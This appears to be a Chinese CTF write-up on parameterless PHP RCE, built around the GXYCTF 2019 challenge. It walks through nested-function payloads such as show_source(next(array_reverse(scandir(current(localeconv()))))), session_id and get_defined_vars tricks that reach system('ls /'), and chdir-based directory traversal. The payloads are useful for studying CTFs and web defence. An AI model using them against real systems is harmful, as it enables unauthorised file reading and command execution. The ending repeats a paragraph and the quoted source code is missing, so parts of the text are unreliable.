# 简述:
首先说一下什么是无参数 RCE,对于很多时候,我们通常遇到 PHP 中存在 eval 函数的时候,一般是通过构造:
1 | system("cat /flag"); |
的 payload 来实行攻击的,大不了就出现了一些 waf 需要绕过。但是,有的时候,他们相关的 waf 特别奇葩,像是过滤了所有的字母以及数字什么的,另外,就是这篇博客最主要说明的题目,就是无参数 RCE:
像是下面的这一个正则:
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { |
经过了它的过滤之后,最后只有 a (b (c ())); 这样的 payload 才不会被过滤了。
正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号;,而最终结果强等于;时,payload 才能进行下一步。简而言之,无参数 rce 就是不使用参数,而只使用一个个函数最终达到目的。
# 相关函数讲解:
- scandir () : 将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob () 可替换)
- localeconv () :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个。的用处很大)
- current () :返回数组中的单元,默认取第一个值。pos () 和 current () 是同一个东西
- getcwd () : 取得当前工作目录
- dirname (): 函数返回路径中的目录部分
- array_flip () : 交换数组中的键和值,成功时返回交换后的数组
- array_rand () : 从数组中随机取出一个或多个单元
- array_reverse (): 将数组内容反转
- strrev (): 用于反转给定字符串
- getcwd ():获取当前工作目录路径
- dirname () :函数返回路径中的目录部分。
- chdir () :函数改变当前的目录。
- eval ()、assert ():命令执行
- hightlight_file ()、show_source ()、readfile ():读取文件内容
数组移动操作:
- end () : 将内部指针指向数组中的最后一个元素,并输出
- next () :将内部指针指向数组中的下一个元素,并输出
- prev () :将内部指针指向数组中的上一个元素,并输出
- reset () : 将内部指针指向数组中的第一个元素,并输出
- each () : 返回当前元素的键名和键值,并将内部指针向前移动
# 题目示例:[GXYCTF 2019] 禁止套娃
先说题目,首先是一个信息搜集,不过这个信息搜集通过多次尝试或者扫后台发现了.git/ 文件夹,猜测是 git 泄露,直接 Githack 下源码,得到 index.php 的内容:
1 | D:\c\python tools\GitHack>python GitHack.py http://node4.anna.nssctf.cn:28131/.git |
之后得到 Index.php 源码如下:
1 |
|
这里只需要关心第二层绕过,主要考点应该是这一层,也就是无参数 RCE。
# 1. 常规方法:
通常情况下, 我们想要读取该目录的文件内容,那么,常规的方法就是如下,不过,先给一个 payload:
1 | ?exp=show_source(next(array_reverse(scandir(current(localeconv()))))); |
首先,通过通过 localeconv () 来 ,返回一包含本地数字及货币格式信息的数组,又因为数组的第一项是 '.,因此可以通过 current () (返回数组中的单元,默认取第一个值)来获取数组中的第一个参数也就是那一个点:
1 | //payload ?exp=var_dump(localeconv()); |
1 | //payload = ?exp=var_dump(current(localeconv())); |
之后,通过 scandir () 返回当前目录中的所有文件和目录的列表:
1 | //paylaod ?exp=var_dump(scandir(current(localeconv()))); |
刚好,这个题目稍微凑巧了,flag 文件刚好在倒数第二个文件中,因此可以使用 array_reverse () 来反转这个数组:
1 | //paylaod ?exp=var_dump(array_reverse(scandir(current(localeconv())))); |
之后,通过 next () 来操作指针,指向 flag 文件:
1 | //paylaod ?exp=var_dump(next(array_reverse(scandir(current(localeconv()))))); |
之后就可以通过 highlight_file () 来读取 flag 文件的内容了
1 | //paylaod ?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
# 2.session_id()
使用条件:当请求头中有 cookie 时(或者走投无路手动添加 cookie 头也行,有些 CTF 题不会卡)
首先我们需要开启 session_start () 来保证 session_id () 的使用,session_id 可以用来获取当前会话 ID,也就是说它可以抓取 PHPSESSID 后面的东西,但是 phpsession 不允许 () 出现
在 burp 中,构造一个 payload 为:
1 | ?exp=readfile(session_id(session_start())); |
随后,将 Cookie 改为:
1 | PHPSESSID=flag.php |
最后成功读取到了 flag 文件
# 3.getallheaders()
getallheaders () 返回当前请求的所有请求头信息,局限于 Apache(apache_request_headers () 和 getallheaders () 功能相似,可互相替代,不过也是局限于 Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用 end () 函数指向最后一个请求头,使其执行,payload:
1 | ?exp=var_dump(end(getallheaders())); |
不过,这个题目我用这个方法的时候失败了,因为第三层绕过过滤了 et,然后 get 单词存在被过滤单词,无法绕过,所以用一下别人的图片:
# 4.get_defined_vars()
相较于 getallheaders()更加具有普遍性,它可以回显全局变量_POST、_COOKIE,
返回数组顺序为_POST–>_FILES
由于题目中过滤了
首先确认是否有回显:
1 | print_r(get_defined_vars()); |
假如说原本只有一个参数 a,那么可以多加一个参数 b,后面写入恶意语句,payload:
1 | a=eval(end(current(get_defined_vars())));&b=system('ls /'); |
把 eval 换成 assert 也行 ,能执行 system (‘ls /’) 就行
# 5.chdir()
实在无法 rce,可以考虑目录遍历进行文件读取,不过这里由于题目的过滤有点恶心人,所以只好记录一下方法了,有了机会再进行实践。
利用 getcwd()
获取当前目录:
1 | var_dump(getcwd()); |
结合 dirname () 列出当前工作目录的父目录中的所有文件和目录:.
1 | var_dump(scandir(dirname(getcwd()))); |
读上一级文件名:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读根目录:
ord () 函数和 chr () 函数:只能对第一个字符进行转码,ord () 编码,chr) 解码,有概率会解码出斜杠读取根目录
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
要用 chdir () 固定,payload:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
# 6.array_rand ()# 赌狗必备法:
首先,在这里吐槽一句,赌狗不值得同情 [doge]
可以通过 array_rand () 函数随机获取数组中的键,因此,需要提前将数组键值对翻转以下,让后再使用如下 payload 进行赌。
1 | ?exp=show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
因为这种很考验运气,因此,当目录中文件过多的情况下只有赌一把运气,可能一两下就出了,可能要花很长时间,因此,还是那句话,赌狗不值得同情 [doge]。
# 参考资料:
可以通过 array_rand () 函数随机获取数组中的键,因此,需要提前将数组键值对翻转以下,让后再使用如下 payload 进行赌。
1 | ?exp=show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
因为这种很考验运气,因此,当目录中文件过多的情况下只有赌一把运气,可能一两下就出了,可能要花很长时间,因此,还是那句话,赌狗不值得同情 [doge]。
# 参考资料:
https://blog.csdn.net/2301_76690905/article/details/133808536